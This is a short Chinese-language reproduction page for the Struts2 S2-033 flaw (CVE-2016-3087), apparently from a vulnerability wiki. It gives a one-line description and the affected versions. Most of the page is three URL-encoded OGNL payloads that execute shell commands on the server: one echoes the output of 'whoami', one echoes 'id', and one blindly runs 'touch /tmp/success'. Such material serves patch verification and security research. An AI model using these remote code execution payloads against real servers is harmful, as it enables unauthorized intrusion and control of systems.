（CVE-2016-3087）s2-033¶

一、漏洞简介¶

当开启动态方法调用，并且同时使用了Strut2 REST Plugin插件时，使用“!”操作符调用动态方法可能执行ognl表达式，导致代码执行。

二、漏洞影响¶

Struts 2.3.20 - Struts Struts 2.3.28（2.3.20.3和2.3.24.3除外）

三、复现过程¶

POC¶

有回显版本

%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%2C@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%2C%23ros.flush%28%29,%23xx%3d123,%23xx.toString.json?&command=whoami

图片.png

光有回显

%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=id

没回显

%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23xx%3d123,%23xx.toString.json?&command=touch%20/tmp/success